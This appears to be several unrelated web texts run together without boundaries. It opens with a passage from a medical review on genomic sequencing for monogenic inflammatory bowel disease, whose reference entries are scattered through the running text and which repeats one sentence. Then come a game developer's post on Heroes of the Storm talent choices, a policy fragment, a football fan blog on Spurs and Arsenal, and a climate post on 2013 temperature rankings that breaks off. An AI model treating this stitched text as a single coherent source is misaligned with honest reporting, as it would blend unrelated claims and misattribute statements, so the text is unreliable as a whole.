medicine. 80 Hennekam R.C. Biesecker L.G. Next-generation sequencing demands next-generation phenotyping. Table 1 Application of Genomics to the Investigation of Mendelian Disorder-Associated IBD Advantage Disadvantage Pre-analysis and post-genomic multi-disciplinary team discussion Full assessment of the clinical phenotype, genetic methods, and clinical care plan Time-consuming/labor intensive Screening technology Panel sequencing High coverage/excellent diagnostic accuracy Restricted to pre-defined genes Exome sequencing High coverage, most genes available Some genes are difficult to sequence (IKBKG, NCF1) ‘Virtual panel’ analysis and research Restricted to exonic parts Genome sequencing Scalable, even coverage, copy-number analysis ‘Virtual panel’ analysis and research Comparatively high costs RNA-seq Covers isoforms, rare variants, splice variants, and cell- and tissue-specific gene expression High costs if multiple cell types are analyzed Selection of the candidate gene panel High-confidence genes only a All gene names in this article are according to Human Genome Organization Gene Nomenclature., b High-confidence genes according to ClinGen criteria include gene defects where multiple families have been described, independent reports are available, no opposing population-based data are present, and functional validation data are available. Examples: IL10RB, IL10RA, XIAP, CYBB, and FOXP3. High confidence, best predictive value Might miss variants in other genes Extensive IBD panel (all known genes c 38 Uhlig H.H. Schwerd T. From genes to mechanisms: the expanding spectrum of monogenic disorders associated with inflammatory bowel disease. Discussed previously and adapted from [ Higher sensitivity/helps to accumulate evidence More variants of unknown significance and uncertain predictive value Patient selection Infantile IBD/VEOIBD Enrichment for a Mendelian disorder IBD in several disorders can present at a later age Focus on severe cases (Young age MATTERS MOST d Features indicating that a monogenic cause/Mendelian disorder should be considered include (i) very young age of IBD onset, (ii) multiple affected family members and consanguinity, (iii) autoimmunity, (iv) failure to thrive, (v) treatment with conventional medication fails, (vi) endocrine concerns, (vii) recurrent infections or unexplained fever, (viii) severe perianal disease, (ix) macrophage activation syndrome and hemophagocytic lymphohistiocytosis, (x) obstruction and atresia of the intestine, (xi) skin lesions with dental and hair abnormalities, and (xii) tumors (Young age MATTERS MOST). Enriched in Mendelian disorders There is often a preexisting history of complications Timing of genomics At time of IBD diagnosis Potential for early diagnosis and targeted care avoiding tissue damage (secondary prevention) Change in phenotype possible, a large number of patients must be screened, higher number of variants of unknown significance In severe IBD cases before resections or HSCT Allows informed treatment decisions Limited timeframe available In severe cases with multiple complications Reasonable patient preselection, allows the phenotype to be explained and guides subsequent therapies Already significant irreversible tissue damage Prenatal or at birth Potential for prenatal diagnosis in affected families or diagnosis after birth Only relevant for genes/variants with complete penetrance (such as IL-10 signaling defects) No primary prevention strategies yet Genomics setting Research No cost to the patients/expertise Clinical-grade validation needed Highest potential to identify novel variants Needs a clear pathway for actionable results Clinical genomics Clinical-grade sequencing in CLIA-certified lab High costs/reimbursement required Functional validation often in research setting Direct-to-consumer genomics Patient-initiated genomics; moderate costs Clinical interpretation and validation required Figure 1 Clinical Genomics Integrates Diagnostic and Therapeutic Pathways in Mendelian Disorder-Associated Inflammatory Bowel Disease (IBD). Conventional explanatory genetics is focused on patients with extreme phenotypes (such as infantile onset), long-term therapy-resistant course, and multiple complications. Genomic medicine aims to find an explanation for the therapy-resistant inflammatory activity in these patients. Subsequent genetic investigations can establish a genetic diagnosis but can lead to targeted interventions late in the disease course when irreversible tissue damage has already been caused. By contrast, predictive genomics aims to identify causal genetic variants early in the disease course, thereby allowing targeted treatments that prevent severe complications and tissue damage in a proportion of children, avoiding a long diagnostic and therapeutic odyssey. This strategy requires screening of a larger group of patients. Both strategies integrate interdisciplinary pre- and post-genomic patient assessments. A molecular diagnosis allows counseling of families, screening for infections and tumors in subgroups of patients, and gene- and pathway-dependent interventions. Abbreviations: HSCT, hematopoietic stem cell therapy; Th1/2/17, type 1/2/17 T helper cells Genomic medicine goes far beyond the technical aspects of diagnostic sequencing (sample preparation, sequencing, sequence alignment to a reference genome, and post-sequencing analysis of sequence variants) in certified laboratories performed within routine clinical care []. It also requires accurate patient assessment, including family history and patient phenotype assessment, as well as counseling in the pre-sequencing phase. After variant identification, genetic and functional validation of variants, and phenotype–genotype assessment, reporting of variants to patient and clinicians and post-test counseling is required []. Many of the challenges in implementing genomics in clinical practice are universal and not specific to IBD. With the increased complexity of genetics, immunology, and gastroenterology, an interdisciplinary approach is crucial to provide the best diagnostic and therapeutic opportunities for patients (summarized in Table 1 and Figure 1 ). Gene Panel Selection and Patient Selection for Clinical Genomics 81 Taylor J.C. et al. Factors influencing success of clinical genome sequencing across a broad spectrum of disorders. 65 Kammermeier J. et al. Targeted gene panel sequencing in children with very early onset inflammatory bowel disease – evaluation and prospective analysis. 82 Kammermeier J. et al. Phenotypic and genotypic characterisation of inflammatory bowel disease presenting before the age of 2 years. 34 Kelsen J.R. et al. Exome sequencing analysis reveals variants in primary immunodeficiency genes in patients with very early onset inflammatory bowel disease. 57 Ashton J.J. et al. Identification of variants in genes associated with single-gene inflammatory bowel disease by whole-exome sequencing. 83 Oh S.H. et al. Is whole exome sequencing clinically practical in the management of pediatric Crohn’s disease?. 84 Ostrowski J. et al. Genetic architecture differences between pediatric and adult-onset inflammatory bowel diseases in the polish population. The probabilistic nature of genetic information of Mendelian disorders with variable penetrance and phenotype is one of the biggest challenges in the field of immune-mediated disorders including IBD. The disease is not present at birth and the full phenotype develops over time. The ratio of patients with monogenic conditions is moderate to very low, depending on the age group and patient selection, but certainly lower compared to other diseases such as developmental disorders []. Mendelian disorders were identified in 31% of infantile IBD in a tertiary referral center []. In other pediatric IBD cohorts only a small percentage or no Mendelian disorders were recorded []. Mendelian disorder-associated IBD is enriched in infantile and VEOIBD but does not exclusively present in this age group. 80 Hennekam R.C. Biesecker L.G. Next-generation sequencing demands next-generation phenotyping. 85 Schrodi S.J. et al. Genetic-based prediction of disease traits: prediction is very difficult, especially about the future. A major clinical challenge for genomic programs is to decide on the prioritisation of genes for gene panel analysis and the timing of genomic analysis. The use of genomics shifts the classical diagnostic model from a pre-genetic test differential diagnosis mode to a post-test diagnostic assessment [], and from explanatory towards predictive genomics. The inclusion of more than 70 monogenic disorders that have ever been described with IBD into the screening is one option, but selecting only genes with high clinical validity and therapeutic consequences is a rational alternative. The anticipated penetrance of the disorder, the severity of the defect, and the availability of a cure favor different screening strategies in different settings. (i) Most research studies have so far focused on the analysis of patients with an extreme severe phenotype. This explanatory strategy focuses on patients with a severe course, and where failure of conventional treatment to control the disease results in complications and a need for surgery. This strategy increases the discovery rate, but restricts the opportunities of targeted therapeutic interventions because of existing irreversible organ damage. (ii) Clinical genomics at time of diagnosis (when the full phenotype is not present) is an alternative approach that permits early diagnosis of Mendelian disorders, allowing early adaptation of therapeutic pathways with the potential of avoiding complications. Large numbers of patients need to be screened and validation of variants of unknown significance is a greater challenge in this predictive genomics approach. (iii) A compromise is to screen those patients with IBD onset under the age of 1 or 2 years (i.e., an age group enriched in Mendelian disorders) as well as patients who require major therapy escalation such as planned colostomies or severe perianal disease (i.e., a patient group that might benefit most). (iv) A congenital (or even prenatal) screen is currently only relevant in a setting of positive family history and for selected candidate genes (which exhibit complete penetrance, present with extreme early onset, and where efficacy of the therapeutic intervention is well documented − such as IL10RA/IL10RB, IL10, and FOXP3). In families with a history of a known Mendelian disorder of high mortality and morbidity (such as IL-10 signaling defects) or no available current cure (such as TTC7A defects), early prenatal diagnosis might be justified. Targeted Panel, Exome, and Genome Sequencing gene panel sequencing [ 65 Kammermeier J. et al. Targeted gene panel sequencing in children with very early onset inflammatory bowel disease – evaluation and prospective analysis. 82 Kammermeier J. et al. Phenotypic and genotypic characterisation of inflammatory bowel disease presenting before the age of 2 years. 86 Suzuki T. et al. Targeted sequencing and immunological analysis reveal the involvement of primary immunodeficiency genes in pediatric IBD: a Japanese multicenter study. 87 Xiao Y. et al. Comprehensive mutation screening for 10 genes in Chinese patients suffering very early onset inflammatory bowel disease. 34 Kelsen J.R. et al. Exome sequencing analysis reveals variants in primary immunodeficiency genes in patients with very early onset inflammatory bowel disease. 57 Ashton J.J. et al. Identification of variants in genes associated with single-gene inflammatory bowel disease by whole-exome sequencing. 65 Kammermeier J. et al. Targeted gene panel sequencing in children with very early onset inflammatory bowel disease – evaluation and prospective analysis. 82 Kammermeier J. et al. Phenotypic and genotypic characterisation of inflammatory bowel disease presenting before the age of 2 years. 83 Oh S.H. et al. Is whole exome sequencing clinically practical in the management of pediatric Crohn’s disease?. 84 Ostrowski J. et al. Genetic architecture differences between pediatric and adult-onset inflammatory bowel diseases in the polish population. 81 Taylor J.C. et al. Factors influencing success of clinical genome sequencing across a broad spectrum of disorders. High-coverage targeted], exome sequencing [], and genome sequencing [] have been used aiming to identify patients with Mendelian disorder-associated IBD. 65 Kammermeier J. et al. Targeted gene panel sequencing in children with very early onset inflammatory bowel disease – evaluation and prospective analysis. 88 Belkadi A. et al. Whole-genome sequencing is more powerful than whole-exome sequencing for detecting exome variants. 22 Petersen B.S. et al. Opportunities and challenges of whole-genome and -exome sequencing. 81 Taylor J.C. et al. Factors influencing success of clinical genome sequencing across a broad spectrum of disorders. 88 Belkadi A. et al. Whole-genome sequencing is more powerful than whole-exome sequencing for detecting exome variants. 89 Hegde M. et al. Development and validation of clinical whole-exome and whole-genome sequencing for detection of germline variants in inherited disease. Owing to its high diagnostic accuracy and moderate costs, targeted panel sequencing is a very practical screening method. Exome and genome sequencing are more cost-intensive at comparable coverage, but can prioritize ‘virtual panels’ for initial screening and only later extend the analysis to novel genes. Inherent technical difficulties of exome sequencing include the challenge of detecting structural variants such as indels, non-coding variants, copy-number variations, inversions, and translocations. Some IBD-relevant genes, in particular IKBKG and NCF1, are difficult to capture by exome-sequencing techniques and are under-represented []. Adapted exon kits can improve capture of splice regions and compensate for uneven representation []. High-coverage genome sequencing offers more even sequencing coverage across the genome, coverage of promoter and enhancer binding regions, as well as analysis of copy-number variants including deletions []. 90 Ip C.L. et al. MinION Analysis and Reference Consortium: Phase 1 data release and analysis. 91 Jain M. et al. The Oxford Nanopore MinION: delivery of nanopore sequencing to the genomics community. Application of additional sequencing technologies such as long-range single-strand sequencing across exons can distinguish between mono- and biallelic variants using patient samples when parental samples are not available or a de novo mutation is suspected. In a recent analysis of Nanopore sequencing that allows single DNA strands to be sequenced, 4.5% of the reads had a length of at least 10 000 nt, and some reads covered 50 000 nt []. Once these long-read single-cell technologies improve towards the required clinical grade accuracy they might even become point-of-care applications []. RNA-sequencing (RNA-seq) technologies complement the spectrum of genomic technologies. RNA-seq can significantly improve the diagnostic yield, as shown in muscular disorders where RNA-seq identified coding and non-coding pathogenic variants that caused splicing defects [ 92 Cummings B.B. et al. Improving genetic diagnosis in Mendelian disease with transcriptome sequencing. To assess the impact of variants that affect RNA splicing or gene expression level,(RNA-seq) technologies complement the spectrum of genomic technologies. RNA-seq can significantly improve the diagnostic yield, as shown in muscular disorders where RNA-seq identified coding and non-coding pathogenic variants that caused splicing defects []. Beyond Sequencing: Assessing the Plausibility of Prioritized Genetic Variants 37 Glocker E.O. et al. Inflammatory bowel disease and mutations affecting the interleukin-10 receptor. 61 Kotlarz D. et al. Loss of interleukin-10 signaling and infantile inflammatory bowel disease: implications for diagnosis and therapy. 45 Schwerd T. et al. Impaired antibacterial autophagy links granulomatous intestinal inflammation in Niemann–Pick disease type C1 and XIAP deficiency with NOD2 variants in Crohn’s disease. 93 Ammann S. et al. A new functional assay for the diagnosis of X-linked inhibitor of apoptosis (XIAP) deficiency. 94 Chen Y. Junger W.G. Measurement of oxidative burst in neutrophils. Once genetic variants have been identified, prioritization is key to select likely pathogenic or pathogenic variants. Bioinformatics prioritization is largely based on low-frequency variants (Mendelian disorders are per se rare), evolutionary conservation, and the predicted impact on protein function. After variant confirmation by Sanger sequencing, cDNA sequencing, or PCR-based methods, variants with sufficient genetic evidence and previous functional characterization might have direct clinical consequences. However, owing to the large number of private and novel mutations identified in clinical practice, in many cases variants must be functionally evaluated. Reliable functional tests have been established for subgroups of disorders. IL-10 receptor signaling defects can be confirmed by an absence of IL-10-dependent STAT3 phosphorylation or by lack of IL-6, IL-8, or TNF cytokine responses in patient-derived blood mononuclear cells in the presence of exogenous IL-10 []. Disease-causing variants in the NOD2–RIPK2–XIAP pathway can be assessed via muramyldipeptide stimulation assays []. Patients with suspected chronic granulomatous disease are assessed by intracellular reactive oxygen production in neutrophils []. Additional immune defects can be reliably identified by their immune phenotype based on numeric differences in lymphocyte or neutrophil counts or immunoglobulin levels using standard laboratory methods. However, functional validation is still a diagnostic bottleneck because it is time-consuming, and for a substantial number of genetic defects no standard validation benchmark tests exist to predict the functional outcome. For many genes only a small number of specialized laboratories worldwide perform functional assays using non-validated research technologies. In patients where a distinct phenotype can be explained by a plausible rare predicted damaging variant this is less relevant. However, lack of functional validation gives rise to a diagnostic dilemma in patients with combinations of phenotypes not described before (phenotype expansion?) or when difficult therapeutic decisions depend on a genetic result suggestive of a potentially damaging mutation. Patient Benefit and Cost-Effectiveness of Genomic Medicine in IBD 95 Valencia C.A. et al. Clinical impact and cost-effectiveness of whole exome sequencing as a diagnostic tool: a pediatric center’s experience. The prospect of genomics is that early diagnosis in a small proportion of patients might prevent unnecessary operations, severe infections, or tumors, and allows progression to targeted therapies. Increased diagnostic accuracy and the rapidly decreasing material costs of exome and genome sequencing provide a basis for increased use of genomic technologies. In this setting, genomics is likely to be both time- and cost-effective. Formal cost-effectiveness studies would require not only comparison between costs of genomics versus conventional sequential genetics but also associated and follow-up costs for hospitalizations, functional assays, and empiric versus genomically informed interventions. In children with syndromic and immunodeficiency disorders, exome sequencing ended the diagnostic odyssey of multiple previous genetic tests [], attesting to the cost-effectiveness of the technology. The Challenges Ahead 96 Dewey F.E. et al. Distribution and clinical impact of functional variants in 50,726 whole-exome sequences from the DiscovEHR study. To improve genotype–phenotype associations and understand long-term disease progression, integration of genomic results with electronic medical records and clinical decision support is required ( Figure 1 and Table 1 ). The potential for linking large-scale exome sequencing and electronic healthcare records has been demonstrated by the DiscovEHR study that included patients with IBD []. 34 Kelsen J.R. et al. Exome sequencing analysis reveals variants in primary immunodeficiency genes in patients with very early onset inflammatory bowel disease. 57 Ashton J.J. et al. Identification of variants in genes associated with single-gene inflammatory bowel disease by whole-exome sequencing. 65 Kammermeier J. et al. Targeted gene panel sequencing in children with very early onset inflammatory bowel disease – evaluation and prospective analysis. 82 Kammermeier J. et al. Phenotypic and genotypic characterisation of inflammatory bowel disease presenting before the age of 2 years. 83 Oh S.H. et al. Is whole exome sequencing clinically practical in the management of pediatric Crohn’s disease?. 84 Ostrowski J. et al. Genetic architecture differences between pediatric and adult-onset inflammatory bowel diseases in the polish population. 97 Christodoulou K. et al. Next generation exome sequencing of paediatric inflammatory bowel disease patients identifies rare and novel variants in candidate genes. 98 Dinwiddie D.L. et al. Molecular diagnosis of infantile onset inflammatory bowel disease by exome sequencing. Mendelian IBD gene variants require careful classification of pathogenic, potentially pathogenic, unlikely pathogenic, or non-pathogenic variants. Genomic research studies in several pediatric IBD patient cohorts [] have employed a very variable degree of variant classification and functional validation, and can only partially serve as examples for clinical care pathways. Databases such as ClinVar ( www.ncbi.nlm.nih.gov/clinvar ) or ClinGen ( www.clinicalgenome.org) aim to implement standards for assigning the level of evidence supporting a gene–disease relationship. Although genomic resources in IBD are emerging (IBD Exomes Portal; http://ibd.broadinstitute.org ), currently there is no single database that allows access to comprehensive IBD-related Mendelian variants. When genomic investigations in IBD are performed in a research setting, clear rules for the exchange of data between research and clinical care settings, reporting of incidental findings, and clinical follow-up are necessary, and require patient consent. Direct-to-consumer genomics is another emerging pathway, where genomic data might become available outside the clinical setting; however, highly specialized clinical evaluation is necessary to understand the results and initiate follow-up. 99 Huang Z. et al. Mutations in interleukin-10 receptor and clinical phenotypes in patients with very early onset inflammatory bowel disease: a Chinese VEO-IBD Collaboration Group Survey. 100 Oh S.H. et al. A synonymous variant in IL10RA Affects RNA splicing in paediatric patients with refractory inflammatory bowel disease. 101 Yanagi T. et al. Novel exonic mutation inducing aberrant splicing in the IL10RA gene and resulting in infantile-onset inflammatory bowel disease: a case report. To date, protein-coding changes account for the large majority of pathogenic variants identified by genomic technologies. The potential role of synonymous variants is only emerging because nearly all variant-identification algorithms focus on protein-coding mutations. However, a synonymous variant in IL10RA (p.T179T) that causes a splice variant has been identified as pathogenic in patients with infantile IBD in Japan, Korea, and China []. 74 Kuehn H.S. et al. Immune dysregulation in human subjects with heterozygous germline mutations in CTLA4. 75 Schubert D. et al. Autosomal dominant immune dysregulation syndrome in humans with CTLA4 mutations. 102 Zeissig S. et al. Early-onset Crohn’s disease and autoimmunity associated with a variant in CTLA-4. 103 Afzali B. et al. BACH2 immunodeficiency illustrates an association between super-enhancers and haploinsufficiency. There is an increasing number of disorders with haploinsufficiency gene defects such as in CTLA4 and BACH2 []. Haploinsufficiancy disorders with incomplete penetrance and very variable phenotype pose major diagnostic challenges for predictive genomic screening approaches. 104 Miller N.A. et al. A 26-hour system of highly sensitive whole genome sequencing for emergency management of genetic diseases. In most settings, genomic screening still requires several weeks to months, and subsequent functional validation leads to further delay. In contrast to life-threatening metabolic disorders that can be diagnosed by genomics as quickly as by biochemical screening tests [], ‘emergency’-type genomic analysis is rarely needed in patients with IBD. Urgent results are desired in IBD patients where genetic findings would influence proceeding towards elective colectomy or autologous or allogeneic HSCT. 80 Hennekam R.C. Biesecker L.G. Next-generation sequencing demands next-generation phenotyping. 105 Barabasi A.L. et al. Network medicine: a network-based approach to human disease. 106 Huang C. et al. Genetic risk for inflammatory bowel disease is a determinant of Crohn’s disease development in chronic granulomatous disease. Although the definition of Mendelian disorder-associated IBD indicates a monogenic contribution, in both IBD and many other Mendelian disorders the mutations act in combination with the ‘genetic background’ of the patient that modulates joint protein networks []. The concept of Mendelian mutations combined with phenotype-modifying IBD variant ‘burden’ is supported by emerging data that patients with established chronic granulomatous disease and IBD carry an increased burden of common IBD-associated variants compared to chronic granulomatous disease patients without IBD, but a lower variant burden than polygenic IBD []. Final integration of genomics into clinical IBD practice will be achieved when clinical societies recommend support for reimbursed genomic diagnostics and evidence-based pathways of care. Concluding Remarks and Future Perspectives Whereas clinical decision-making in many disorders including IBD was historically rarely influenced by genetic results, this has changed with progress in targeted treatments. The concept of precision medicine is not only a future perspective but is now a reality for a small fraction of patients. The large spectrum of rare Mendelian disorders that can present with IBD makes the clinical use of genomic methods necessary, practical, and even cost-efficient. Careful genetic and functional evaluation of variants via established pathways will be necessary to implement genomics as a routine technology in the clinic (see Outstanding Questions). In the future we envisage: (i) Large-scale population-based high-coverage exome and genome-sequencing studies will reveal the extent of rare variants that contribute to IBD and identify Mendelian disorders with IBD-like intestinal inflammation. (ii) Gene and variant databases for intestinal and extra-intestinal immunological and epithelial phenotypes will allow further transition of research-based genomics to clinical genomics. (iii) Understanding gene–environment (microbiome, virome) interactions in Mendelian disorder-associated IBD, assessment of di- or oligogenic contributions, epigenetic imprinting, and mosaicism, as well as the genetic burden of common IBD risk loci, will further improve diagnostics and predictive models beyond classical Mendelian genetics. (iv) Genomics will shift classical explanatory genetics with Mendelian models towards probabilistic and predictive models for subgroups of patients. (v) Research combining genetics and immunology with systems biology by analysis of genomic, proteomic, metabolomic, transcriptomic, and microbiomic profiles will allow patient stratification based on functional pathways. Outstanding Questions Current phenotypic IBD classification systems for CD, UC, and IBDU have limitations, and a molecular classification is needed. For several monogenic IBD genes, causality is assumed based on a very limited number of patients, and hence definitive evidence of causality is lacking. Clinical standards for application of genomic technologies, standardized functional testing and evidence-based therapeutic pathways are only beginning to emerge. (vi) Single-cell DNA and RNA-seq technologies may provide an powerful tool to assess the impact of gene variants, splice variants, and mosaicism within different immune, stromal, and intestinal epithelial cell populations based on a biopsy sample. Acknowledgments A.M.M. and H.H.U. are supported by the Leona M. and Harry B. Helmsley Charitable Trust. A.M.M. is supported the Canadian Institute of Health Research (CIHR). HHU is supported by the Crohn’s and Colitis Foundation of America (CCFA), the European Society for Paediatric Gastroenterology Hepatology and Nutrition (ESPGHAN), and the National Institute for Health Research (NIHR) Biomedical Research Centre, Oxford. We would like to thank Athena Cavounidis for critical reading the manuscript. Glossary Gene panel sequencing parallel sequencing of a defined number of genes that are preselected based on known disease relevance. Genome and exome sequencing the use of DNA sequencing technologies aiming to sequence the entire human genome or exome (i.e., the fraction of the genome that is transcribed into mature RNA). Genome-wide association studies (GWAS) analysis of genome-wide sets of genetic variants to probe association with a disease trait or disease outcome/response to therapy. Hematopoietic stem cell transplantation (HSCT) transfer of hematopoietic stem cells derived from bone marrow, peripheral blood, or in some cases umbilical cord blood into a patient. To correct a genetically driven immune disorder causing intestinal inflammation in a patient, stem cells from a healthy donor are used (allogeneic HSCT). RNA sequencing (RNA-seq) whole-transcriptome sequencing that allows relative gene expression, alternative splice transcripts, and gene variants to be investigated.Since we started working on Heroes of the Storm years ago, hero customization has been a top priority for us. Being able to play your heroes in different ways, and react to the needs of your team as well as the threats of the enemy team is important for depth and replayability in this type of game. One of our early goals for the game was to allow for a large amount of hero customization. We tried several different approaches even before the game reached alpha. For a long time we had a shop that allowed you to buy “items” for your heroes. This was effective, but limited in what it could accomplish, since all of the items in the shop had to work for every hero in the game. We kept nerfing items so they wouldn’t break some heroes. In the end, we decided that a “one-size-fits-all” customization system was not the right approach for our game. We could do so much more by giving players unique customization choices per hero. Imagine a hero that you can customize to get +3 attack range, or an ability on a ranged character that you can customize to do damage in an area instead of hitting a single target. For Heroes, this level of customization was much more interesting than any of the systems we tried before. This idea was a lot harder to build. Rather than making just one generic system, we have to craft interesting choices for all of our heroes, one by one. But the effect on the game is huge. The choices you make in customizing your hero are heavily influenced by your own play style but also by the composition of your team, the enemy team, and the battleground you are playing on, as well as any heroic abilities chosen by the enemy. With our most recent patch, we made a number of improvements to the in-game Tab Screen, which allow you to see both enemy and allied builds. Check out the new Tab Screen below: Now that this has gone into the game, I’m sure we will start to see players using a lot of this information about their allies and enemies to determine how to more effectively build their heroes throughout a match. Learning how to maximize the Talents takes a long time, and requires a lot of experimentation to understand which talents are best to use in different situations. The hero that I have experimented with the most is Muradin, so I will use him as my example. Before the match starts, I take a good look at the battleground, my team, and the enemy team, and try to make some determination about what I want to be doing in this game. This is before I know anything about how good the players are on either team. As I gather that information I will be changing my plans as I customize Muradin. At level 1: Path of the Warrior: Your Hero gains 35 maximum Health every level. I choose this only if I don’t know what to choose. This is getting rare for me these days since I usually see a more specific strategy I want to pursue, but it was common for me when I was first learning the hero. Perfect Storm: Stormbolt’s damage is permanently increased by 5 for each enemy hero hit. I choose this on Cursed Hollow when I know there are going to be a lot of heroes clustered together around tributes and I’ll hit a lot more easily. I also like this talent when I’m dealing with lots of ranged heroes that are going to stay at range. Infused Hammer: Stormbolt refunds 45 mana for each enemy hit. I haven’t figured this one out completely. I sometimes use it when I see very dancy heroes like Valla, where I know I’ll miss a lot and need some mana back when I do connect. Reverberation: Enemies hit by Thunderclap have their Attack Speed reduced by 33% for 2 seconds. I use this when I know I’m going to go face-to-face with a lot of melee heroes, especially if I see two Warriors on the enemy team. At Level 4: Crowd Control: Each enemy hit by Thunderclap reduces its cooldown by 0.5 seconds. I like this talent a lot for Haunted Mines because it helps me clear the mines faster. Thunder Burn: Leaves a zone on the ground that explodes after 1.5 seconds, dealing 25 damage and applying a 25% slow for 2 seconds. I like this talent if I see two Warriors on the enemy team, or if I’m starting to see that an enemy Warrior is really good. I also like this if I don’t have a lot of healing on my team, and I know I can take Healing Static at Level 13 to give me some more sustain. Third Wind: Increases Second Wind’s Health regeneration rates. Activates at 40% Health. I take this if I’m in a two-on-one scenario and getting beat up, if my healer is weak, or if I have no healer at all. Skullcracker: Every 4th attack against the same target will stun the target for 0.25 seconds. This goes well with my “Stunadin” build that is all about stunning people like crazy. I like it for fighting melee DPS, or if there is someone like Tychus, who has a core ability that I can knock him out of with a stun. At Level 7: Block: Periodically reduces the damage received from Hero Basic Attacks by 50%. Stores up to 2 charges. This is a good choice if I think I’m the main tank for my team. Battle Momentum: Basic Attacks reduce your Ability cooldowns by 0.5 seconds. Sometimes I get this if I’m going for a more DPS-oriented build. Battle Momentum combos well with Crowd Control. I can Thunderclap, hit a few minions, and Thunderclap again. It’s great for Haunted Mines, or if I really want to push a lane. Piercing Bolt: Stormbolt pierces, hitting 1 additional target. This is a very tempting talent if I took Perfect Storm
force participation, including improving child-care and other family-friendly benefits to draw more women into the workforce, pursuing immigration reforms and reworking the disability insurance program to allow for recipients to do part-time work. It also called for the United States to raise the federal minimum wage while at the same time providing a more generous earned-income tax credit, and improving early childhood education.127 SHARES Share Tweet Many media and fans believe that the race for the final Champions League spot has already slipped away from Spurs and that Arsenal’s participation is assured. However, here are 5 reasons why Spurs will be the team that qualifies for the competition next season and not the Gunners. 1). Newcastle’s attacking strength is Arsenal’s defensive weakness Newcastle haven’t had the best of seasons this term, but their attack goes through the zones where Arsenal are most vulnerable, the right back area. The Gunners have conceded a vast amount of chances, as well as goals through here, most notably on the side patrolled by Bacary Sagna. The Frenchman has had his problems this season. His error and then subsequent foul on Robin van Persie to gift Man Utd an equalising penalty. Then at home to Wigan on Tuesday night, he allowed Arouna Kone in for a glorious chance at 1-1 to take the lead. Arsenal did detonate Newcastle 7-3 at the Emirates earlier this season, but the game was 3-3 up until the 73rd minute. The Geordies had a very scratch line-up out that day, having to play Sylvain Marveaux and Gael Bigirimana in central midfield. What’s more, Gabriel Obertan and Papiss Demba Cisse were deployed by Alan Pardew in the wide positions. Despite imploding towards the end, Newcastle did create chances and score goals from passes through Sagna’s right back zone. This has been the Magpies’ strength all season and they would do well to employ a player like Hatem Ben Arfa or Yoan Gouffran on this side to expose Sagna. Jonas Gutierrez has been given this role recently. Alan Pardew has sought points to stay up and gone with extra defensive presence the Argentinean offers. However, with Newcastle now safe, an attacking option on this flank would be a much better use of his resources to give the home fans something to cheer about. 2). Newcastle’s recent record at home to Arsenal Arsenal are favourites to come away with three points, but St. James’s Park hasn’t been their happiest of hunting grounds recently. Four of the last five meetings in the Premier League there have ended in draws, including the infamous four-goal lead they let slip in 2011. On that day, Newcastle also created a host of chances through the Arsenal right back zone, which again was the area guarded by Bacary Sagna. Last season’s encounter ended in a rather drab 0-0 draw, but also saw another common occurrence, a sending off. 3). Arsenal’s disciplinary problems at St. James’s Park Arsenal’s last two trips to St. James’s Park in the Premier League have seen them reduced to ten men each time. Last season’s 0-0 draw saw Gervinho given his marching orders, but the game also yielded 8 yellow cards, of which five were for the Gunners. The season before in the 4-4 draw, Abou Diaby was given a straight red and a further 5 yellow cards were also dished out in a fiery battle. Howard Webb will be in charge on Sunday and he may have a job on his hands. Arsenal have been issued five red cards this season, with the World Cup Final referee giving Per Mertesacker his marching orders in their recent trip to the Hawthorns. The Gunners have been given the most red cards of any team in the Premier League this season, what chance another on Sunday? 4). Alan Pardew may have made a rod for his own back With a win at QPR, Newcastle ensured their Premier League survival. Alan Pardew’s comment of “Arsenal can beat Newcastle 4-0 for all I care” may just have made a rod for his own back. All eyes will be on not only his team selection, but also their performance to see if they do indeed chuck it in. He has since reneged on his words, saying it was merely ‘a joke.’ He’s since commented that he wants his Newcastle players “to go out with a bang” against the Gunners and give the home fans something to cheer. St. James’s Park can be a tough place to go when the crowd are behind their Geordie heroes. The Gallowgate end can be worth a goal when in full voice, creating an intimidating atmosphere for anyone. Arsenal have had trouble in front of their own fans when they have become restless this season; the Georide faithful will prove pivotal in providing an even tougher test. 5). Spurs record against Sunderland In contrast to Arsenal’s recent history of drawing at Newcastle, Spurs have faired well against the Magpies’ north-east neighbours. In our last six Premier League matches at home with the Mackems, we’ve emerged victorious on four occasions. Last season saw us win 1-0 win courtesy of a Roman Pavlyuchenko strike. One-goal games have been regular occurrences; as was the case in this season’s trip to the Stadium of Light, which saw us come from a goal down to win 2-1. It won’t be an easy task to beat Paulo Di Canio’s rejuvenated side, but i’ve taken a look at how we will do it in the Tottenham tactics preview for Spurs vs Sunderland. It will be an afternoon of ups and downs, but I’m confident in Newcastle getting a draw, Spurs gaining a win and Champions League football at the end of it.The global temperature data for 2013 are now published. 2010 and 2005 remain the warmest years since records began in the 19th Century. 1998 ranks third in two records, and in the analysis of Cowtan & Way, which interpolates the data-poor region in the Arctic with a better method, 2013 is warmer than 1998 (even though 1998 was a record El Nino year, and 2013 was neutral). The end of January, when the temperature measurements of the previous year are in, is always the time to take a look at the global temperature trend. (And, as the Guardian noted aptly, also the time where the “climate science denialists feverishly yell […] that global warming stopped in 1998.”) Here is the ranking of the warmest years in the four available data sets of the global near-surface temperatures (1): Rank NASA GISS NOAA NCDC HadCRUT4 Cowtan & Way 1 2010 2010 2010 2010 2 2005 2005 2005 2005 3 2007 1998 1998 2007 4 2002 2013 2003 2009 5 1998 2003 2006 2013 New this year: for the first time there is a careful analysis of geographical data gaps – especially in the Arctic there’s a gaping hole – and their interpolation for the HadCRUT4 data. Thus there are now two surface temperature data sets with global coverage (the GISTEMP data from NASA have always filled gaps by interpolation). In these two data series 2007 is ranked 3rd. Their direct comparison looks like this: Figure 1 Global temperature (annual values) in the data from NASA GISS (orange) and from Cowtan & Way (blue), i.e. HadCRUT4 with interpolated data gaps. One can clearly see the extreme year 1998, which (thanks to the record-El Niño) stands out above the long-term trend like no other year. But even taking this outlier year as starting point, the linear trend 1998-2013 in all four data sets is positive. Also clearly visible is 2010 as the warmest year since records began, and the minima in the years 2008 and 2011/2012. But just like the peaks are getting higher, these minima are less and less deep. In these data curves I cannot see a particularly striking or significant current “warming pause”, even though the warming trend from 1998 is of course less than the long-term trend. Even in Nature, there was recently a (journalistic) contribution that in its introduction strongly overstated this alleged “hiatus”. It makes a good story that perhaps some cannot resist. (“Warming trend is somewhat reduced, but within the usual range of variation” simply does not make good headline.) The role of El Niño and La Niña The recent slower warming is mainly explained by the fact that in recent years the La Niña state in the tropical Pacific prevailed, in which the eastern Pacific is cold and the ocean stores more heat (2). This is due to an increase in the trade winds that push water westward across the tropical Pacific, while in the east cold water from the depths comes to the surface (see last graph here). In addition, radiative forcing 